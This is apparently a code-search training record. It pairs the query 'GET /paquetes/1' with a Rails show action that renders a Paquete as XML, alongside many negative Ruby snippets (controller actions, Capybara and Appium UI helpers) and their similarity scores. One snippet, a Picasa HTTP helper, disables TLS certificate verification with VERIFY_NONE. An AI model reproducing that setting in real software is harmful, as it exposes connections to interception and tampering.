#{rc.safe_s}\"\n rc\n end", "def click_by_coordinates(x, y)\n Capybara.execute_script(\"document.elementFromPoint(#{x}, #{y}).click()\")\n end", "def scrollToTop\n page.execute_script \"window.scrollTo(0,0)\"\n end", "def tap(x, y)\n # Touches appear to be lost during the first frame after navigation.\n # This waits a frame before sending the tap.\n # @see https://crbug.com/613219\n @_client.command(\n Protocol::Runtime.evaluate(\n expression: 'new Promise(x => requestAnimationFrame(() => requestAnimationFrame(x)))',\n await_promise: true\n )\n ).wait!\n\n touch_points = [{ x: x.round, y: y.round }]\n @_client.command(\n Protocol::Input.dispatch_touch_event(\n type: 'touchStart',\n touch_points: touch_points,\n modifiers: @_keyboard.modifiers\n )\n ).wait!\n @_client.command(\n Protocol::Input.dispatch_touch_event(\n type: 'touchEnd',\n touch_points: [],\n modifiers: @_keyboard.modifiers\n )\n ).wait!\n end", "def click_element(element, timeout)\n wait_for_element(element, timeout)\n hide_canvas_footer\n sleep Utils.click_wait\n element.click\n end", "def wait_for_scroll_to_finish\n wait = Selenium::WebDriver::Wait.new(:timeout => 10)\n element = @browser.find_element xpath: TestConstants::SELECTION_BLOCK_XPATH\n wait.until { element.attribute('tabindex') == \"-1\" } \n end", "def swipe(opts)\n start_x = opts.fetch :start_x, 0\n start_y = opts.fetch :start_y, 0\n end_x = opts.fetch :end_x, 0\n end_y = opts.fetch :end_y, 0\n duration = opts.fetch :duration, 2\n\n \n action = Appium::TouchAction.new.press(x: start_x, y: start_y).move_to(x: end_x, y: end_y).release \n action.perform\nend", "def click_and_collect\n\t\twait_for_elements_do_not_exist [\"* id:'LoadingProgress'\"]\n\t\tquery_string = \"* id:'cc_book_a_slot_layout'\"\n\t\twait_poll until_exists: query_string, timeout: 30 do\n\t\t\tperformAction(\"scroll_down\")\n\t\tend\n\t\twait_for_elements_exist([\"* id:'cc_book_a_slot_layout'\"], timeout: 30)\n\t\ttouch(\"* id:'cc_book_a_slot_layout'\")\n\t\t#select collection point\n\t\twait_for_elements_exist [\"* id:'collection_point_address'\"], timeout: 30\n\t\ttouch \"* id:'collection_point_address'\"\n\t\twait_for_elements_do_not_exist [\"* id:'collection_point_address'\"], timeout: 30\n\tend", "def trigger_click_link(selector)\n find_link(selector).trigger(\"click\")\n end" ]
[ "0.6666636", "0.6659074", "0.66046506", "0.6150177", "0.6091912", "0.60176575", "0.60004973", "0.59490055", "0.5900012", "0.5890448", "0.5874212", "0.58716375", "0.5826666", "0.5822378", "0.58208746", "0.5818627", "0.58149624", "0.5800615", "0.57582855", "0.5751799", "0.5721959", "0.5644747", "0.5610229", "0.5578405", "0.5528511", "0.5522616", "0.5512436", "0.5495813", "0.5481324", "0.5378574", "0.53600216", "0.53403014", "0.5327808", "0.5325714", "0.52888054", "0.5287195", "0.52785957", "0.5274722", "0.5215244", "0.5177635", "0.51517785", "0.5149101", "0.5134723", "0.511301", "0.5073674", "0.50729483", "0.5063383", "0.5062445", "0.5060566", "0.50470275", "0.5039367", "0.50337934", "0.5031841", "0.5016411", "0.49881393", "0.4975794", "0.49707735", "0.4962167", "0.49528027", "0.49460915", "0.4940998", "0.49378997", "0.48990864", "0.48757792", "0.48571694", "0.48392314", "0.48391595", "0.48390386", "0.48365623", "0.4836423", "0.48232266", "0.48126602", "0.48052815", "0.48018143", "0.48013294", "0.48004657", "0.47883138", "0.47767228", "0.47738722", "0.47687668", "0.47648892", "0.47424585", "0.47284007", "0.47263503", "0.47062576", "0.47025517", "0.4697974", "0.46934628", "0.4687606", "0.46871942", "0.4685769", "0.46767235", "0.46711123", "0.46687153", "0.46673638", "0.46639618", "0.46620232", "0.46586606", "0.46581408", "0.4652003" ]
0.67288876
0
GET /paquetes GET /paquetes.xml
def index @paquetes = Paquete.all respond_to do |format| format.html # index.html.erb format.xml { render :xml => @paquetes } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @paquete = Paquete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @paquete }\n end\n end", "def url\n\t\tagencia_paquete_path(self)\n\tend", "def show\n @cavalete = Cavalete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cavalete }\n end\n end", "def show\n @liga_blaz_blue = LigaBlazBlue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @liga_blaz_blue }\n end\n end", "def show\n @course_asset = CourseAsset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @course_asset }\n end\n end", "def show\n @placa_casa = PlacaCasa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @placa_casa }\n end\n end", "def show\n @clicker = Clicker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @clicker }\n end\n end", "def show\n @asset = Asset.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset }\n end\n end", "def show\n @asset = Asset.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset }\n end\n end", "def show\n @asset = Asset.find(params[:id])\n\n respond_to do |format|\n format.xml {render xml: @asset}\n format.json {render json: @asset}\n end\n end", "def show\n @acre = Acre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @acre }\n end\n end", "def show\n @asset = Asset.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @asset.to_xml }\n end\n end", "def show\n @catena = Catena.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @catena }\n end\n end", "def show\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arc.to_xml(:except => [ :created_at, :updated_at ], :include => :tahs) }\n end\n end", "def show\n @almacen = Almacen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @almacen }\n end\n end", "def show\n @asset = Resource.find(params[:id])\n \n respond_to do |format|\n format.html { render :xml => @asset }# index.html.erb\n format.xml { render :xml => @asset }# index.xml.builder\n format.json { render :json => @asset }# index.xml.builder\n end\n end", "def index\n @acres = Acre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @acres }\n end\n end", "def show\n @peca = Peca.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @peca }\n end\n end", "def show\n @blobs_component = BlobsComponent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @blobs_component }\n end\n end", "def show\n @aauto = Aauto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aauto }\n end\n end", "def show\n @aisle = Aisle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aisle }\n end\n end", "def index\n @car = Car.find(params[:car_id])\n @assets = @car.assets\n\n respond_to do |format|\n format.xml {render xml: @assets}\n format.json {render json: @assets}\n end\n end", "def index\n @course_assets = CourseAsset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @course_assets }\n end\n end", "def show\n @colour = Colour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @colour }\n end\n end", "def index\n @labs = @course.labs.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @labs }\n end\n end", "def show\n @curta = Curta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @curta }\n end\n end", "def show\n @xlink = Xlink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @xlink }\n end\n end", "def show\n @tarefa = Tarefa.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tarefa }\n end\n end", "def index\n @assets = assets.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assets.to_xml }\n end\n end", "def show\n @components_front_lever = Components::FrontLever.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @components_front_lever }\n end\n end", "def show\n @asset_category = AssetCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset_category }\n end\n end", "def index\n \t@clickers = Clicker.all\t\t\t\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clickers }\n end\n end", "def print_my_recent_bookmarks(username, password)\n # Make the HTTPS request.\n response = open('https://api.del.icio.us/v1/posts/recent',\n :http_basic_authentication => [username, password])\n\n # Read the response entity-body as an XML document.\n xml = response.read\n\n # Turn the document into a data structure.\n document = REXML::Document.new(xml)\n\n # For each bookmark...\n REXML::XPath.each(document, \"/posts/post\") do |e|\n # Print the bookmark's description and URI\n puts \"#{e.attributes['description']}: #{e.attributes['href']}\"\n end\nend", "def show\n @abonne = Abonne.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @abonne }\n end\n end", "def show\n @color_reflection = ColorReflection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @color_reflection }\n end\n end", "def show\n @banana = Banana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @banana }\n end\n end", "def show\n @gallery_asset = GalleryAsset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gallery_asset }\n end\n end", "def index\n @asset = Asset.find(params[:asset_id])\n @tags = @asset.tags\n\t\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tags }\n end\n end", "def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset.to_xml }\n end\n end", "def show\n @user_asset = UserAsset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_asset }\n end\n end", "def show\n @assettrack = Assettrack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assettrack }\n end\n end", "def show\n @lancamento = Lancamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lancamento }\n end\n end", "def show\n @court = Court.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @court }\n end\n end", "def show\n @certidao = Certidao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @certidao }\n end\n end", "def xml(options = {})\n http = Net::HTTP.new(Picasa.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = Picasa.path(options)\n response = http.get(path, auth_header)\n if response.code =~ /20[01]/\n response.body\n elsif response.code.to_i == 403\n raise RubyPicasa::PicasaError, \"Authentication failed. You may need to refresh your access token.\"\n end\n end", "def show\n @aplicacion = Aplicacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end", "def index\n @almacenes = Almacen.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @almacenes }\n end\n end", "def show\n @asambleista = Asambleista.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asambleista }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def show\n @black = Black.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @black }\n end\n end", "def show\n @carrera = Carrera.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carrera }\n format.xml { render :xml => @carrera.to_xml }\n end\n end", "def show\n @avance = Avance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @avance }\n end\n end", "def show\n @colo = Colo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @colo }\n end\n end", "def show\n @lab = @course.labs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @lab }\n end\n end", "def show\n @amenity = Amenity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @amenity }\n end\n end", "def index\n @akces = Akce.all\n end", "def show\n @bearing = Bearing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bearing }\n end\n end", "def show\n @causale = Causale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @causale }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @abucket }\n end\n end", "def show\n @arcone = Arcone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arcone }\n end\n end", "def show\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aviso }\n end\n end", "def show\n @internalcolor = Internalcolor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @internalcolor }\n end\n end", "def show\n @vaga = Vaga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vaga }\n end\n end", "def index\n @assets = Asset.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @assets.to_xml }\n end\n end", "def index\n @aautos = Aauto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @aautos }\n end\n end", "def show\n @crianca = Crianca.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @crianca }\n end\n end", "def show\n @ref = Ref.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ref }\n end\n end", "def index\n @artefact = Artefact.find(params[:artefact_id])\n\n @assets = @artefact.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assets }\n end\n end", "def show\n @ganglia_graph = GangliaGraph.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end", "def show\n @aanwezig = Aanwezig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aanwezig }\n end\n end", "def show\n @cadet = Cadet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cadet }\n end\n end", "def show\n @aktion = Aktion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aktion }\n end\n end", "def show\n @coleccionista = Coleccionista.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @coleccionista }\n end\n end", "def show\n @airplane = Airplane.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @airplane }\n end\n end", "def show\n @aniversario = Aniversario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aniversario }\n end\n end", "def show\n @announcer = Announcer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @announcer }\n end\n end", "def show\n @needle = Needle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @needle }\n end\n end", "def get_channnel_xml( url )\n path = url.sub(/http:\\/\\/gdata\\.youtube\\.com/,'')\n xml = \"\"\n\n Net::HTTP.version_1_2\n Net::HTTP.start(\"#{@url}\", \"#{@port}\") do |http|\n response = http.get(\"/#{path}\")\n xml = response.body\n end\n\n return xml\n end", "def show\n @analisis = Analisis.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @analisis }\n end\n end", "def show\n @asset_item = AssetItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset_item }\n end\n end", "def show\n @artefact = Artefact.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @artefact }\n end\n end", "def show\n @entradas = Entrada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entradas }\n end\n end", "def index\n @criancas = Crianca.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @criancas }\n end\n end", "def show\n @external_account = ExternalAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @external_account }\n end\n end", "def show\n @liga_blaz_blue_general = LigaBlazBlueGeneral.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @liga_blaz_blue_general }\n end\n end", "def index\n @aisles = Aisle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @aisles }\n end\n end", "def show\n @asistencia = Asistencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asistencia }\n end\n end", "def show\n @atest = Atest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @atest }\n end\n end", "def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @livro }\n end\n end", "def show\n @vertex = Vertex.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vertex }\n end\n end", "def show\n @lance_unico = LanceUnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lance_unico }\n end\n end", "def show\n @etiquetage = Etiquetage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @etiquetage }\n end\n end", "def show\n @components_front_tube = Components::FrontTube.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @components_front_tube }\n end\n end", "def show\n @protocolo = Protocolo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @protocolo }\n end\n end", "def show\n @agenciamadre = Agenciamadre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @agenciamadre }\n end\n end", "def index\n @links = Link.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @links }\n end\n end" ]
[ "0.6419261", "0.5860568", "0.5766065", "0.57640654", "0.57264876", "0.56885284", "0.5685778", "0.56707025", "0.56707025", "0.56422955", "0.56301796", "0.56099606", "0.5608689", "0.5606184", "0.55851626", "0.5571785", "0.55622613", "0.5543774", "0.5540296", "0.5491513", "0.5488862", "0.5487325", "0.548723", "0.54823357", "0.54782426", "0.54709506", "0.5456463", "0.545065", "0.5440153", "0.5438397", "0.54374963", "0.5433621", "0.5422796", "0.54215455", "0.5416423", "0.5415792", "0.5414484", "0.5413774", "0.540993", "0.54094374", "0.54083025", "0.5405965", "0.5396766", "0.53957474", "0.5395268", "0.5395148", "0.5393647", "0.5380816", "0.537453", "0.5374247", "0.5374247", "0.5373368", "0.5373368", "0.53678685", "0.53677356", "0.5360367", "0.5356395", "0.53560656", "0.5353755", "0.53527105", "0.5348051", "0.53470546", "0.53409266", "0.5338063", "0.5336264", "0.5335578", "0.5324778", "0.53176343", "0.53161365", "0.5314368", "0.53125226", "0.531197", "0.5310784", "0.53099906", "0.53008133", "0.53002936", "0.5297726", "0.5292151", "0.5281216", "0.52807075", "0.5279671", "0.5278571", "0.52763325", "0.527479", "0.5274081", "0.52731955", "0.5271453", "0.5270837", "0.52691334", "0.5262206", "0.52622014", "0.52586275", "0.52582526", "0.5257041", "0.5255779", "0.52540576", "0.525348", "0.5253472", "0.5252935", "0.52529" ]
0.64097744
1
GET /paquetes/1 GET /paquetes/1.xml
def show @paquete = Paquete.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @paquete } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @paquetes = Paquete.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @paquetes }\n end\n end", "def show\n @clicker = Clicker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @clicker }\n end\n end", "def show\n @liga_blaz_blue = LigaBlazBlue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @liga_blaz_blue }\n end\n end", "def show\n @catena = Catena.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @catena }\n end\n end", "def show\n @asset = Asset.find(params[:id])\n\n respond_to do |format|\n format.xml {render xml: @asset}\n format.json {render json: @asset}\n end\n end", "def show\n @acre = Acre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @acre }\n end\n end", "def show\n @asset = Asset.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset }\n end\n end", "def show\n @asset = Asset.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset }\n end\n end", "def show\n @placa_casa = PlacaCasa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @placa_casa }\n end\n end", "def show\n @asset = Resource.find(params[:id])\n \n respond_to do |format|\n format.html { render :xml => @asset }# index.html.erb\n format.xml { render :xml => @asset }# index.xml.builder\n format.json { render :json => @asset }# index.xml.builder\n end\n end", "def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend", "def show\n @aisle = Aisle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aisle }\n end\n end", "def show\n \n@clicker = Clicker.find(params[:id])\n\n \nrespond_to do |format|\n \nformat.html # show.html.erb\n \nformat.xml { render :xml => @clicker+\"yyyyy\" }\n \n end\n \nend", "def show\n @asset = Asset.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @asset.to_xml }\n end\n end", "def show\n @peca = Peca.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @peca }\n end\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def show\n @analisis = Analisis.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @analisis }\n end\n end", "def show\n @cavalete = Cavalete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cavalete }\n end\n end", "def show\n @banana = Banana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @banana }\n end\n end", "def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def index\n @acres = Acre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @acres }\n end\n end", "def show\n @lien = Lien.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def show\n @colo = Colo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @colo }\n end\n end", "def show\n @abonne = Abonne.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @abonne }\n end\n end", "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end", "def show\n @arc = Arc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arc.to_xml(:except => [ :created_at, :updated_at ], :include => :tahs) }\n end\n end", "def show\n @course_asset = CourseAsset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @course_asset }\n end\n end", "def show\n @aplicacion = Aplicacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end", "def show\n @aauto = Aauto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aauto }\n end\n end", "def show\n @certidao = Certidao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @certidao }\n end\n end", "def show\n @blobs_component = BlobsComponent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @blobs_component }\n end\n end", "def show\n @crianca = Crianca.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @crianca }\n end\n end", "def show\n @vaga = Vaga.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vaga }\n end\n end", "def show\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aviso }\n end\n end", "def show\n @asambleista = Asambleista.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asambleista }\n end\n end", "def show\n @colour = Colour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @colour }\n end\n end", "def show\n @lancamento = Lancamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lancamento }\n end\n end", "def show\n @protocolo = Protocolo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @protocolo }\n end\n end", "def index\n \t@clickers = Clicker.all\t\t\t\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clickers }\n end\n end", "def show\n @aanwezig = Aanwezig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aanwezig }\n end\n end", "def show\n @curta = Curta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @curta }\n end\n end", "def show\n @receita = Receita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @receita }\n end\n end", "def show\n @receita = Receita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @receita }\n end\n end", "def index\n @car = Car.find(params[:car_id])\n @assets = @car.assets\n\n respond_to do |format|\n format.xml {render xml: @assets}\n format.json {render json: @assets}\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @abucket }\n end\n end", "def show\n @components_front_lever = Components::FrontLever.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @components_front_lever }\n end\n end", "def show\n @tarefa = Tarefa.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tarefa }\n end\n end", "def show\n @coleccionista = Coleccionista.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @coleccionista }\n end\n end", "def show\n @ref = Ref.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ref }\n end\n end", "def show\n @almacen = Almacen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @almacen }\n end\n end", "def show\n @atest = Atest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @atest }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset.to_xml }\n end\n end", "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end", "def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @livro }\n end\n end", "def show\n @needle = Needle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @needle }\n end\n end", "def show\n @court = Court.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @court }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @carrera = Carrera.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carrera }\n format.xml { render :xml => @carrera.to_xml }\n end\n end", "def show\n @download = Download.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @download }\n end\n end", "def show\n @download = Download.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @download }\n end\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def path\n \"/onca/xml\"\n end", "def show\n @ganglia_graph = GangliaGraph.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end", "def show\n @black = Black.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @black }\n end\n end", "def show\n @activite = Activite.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => 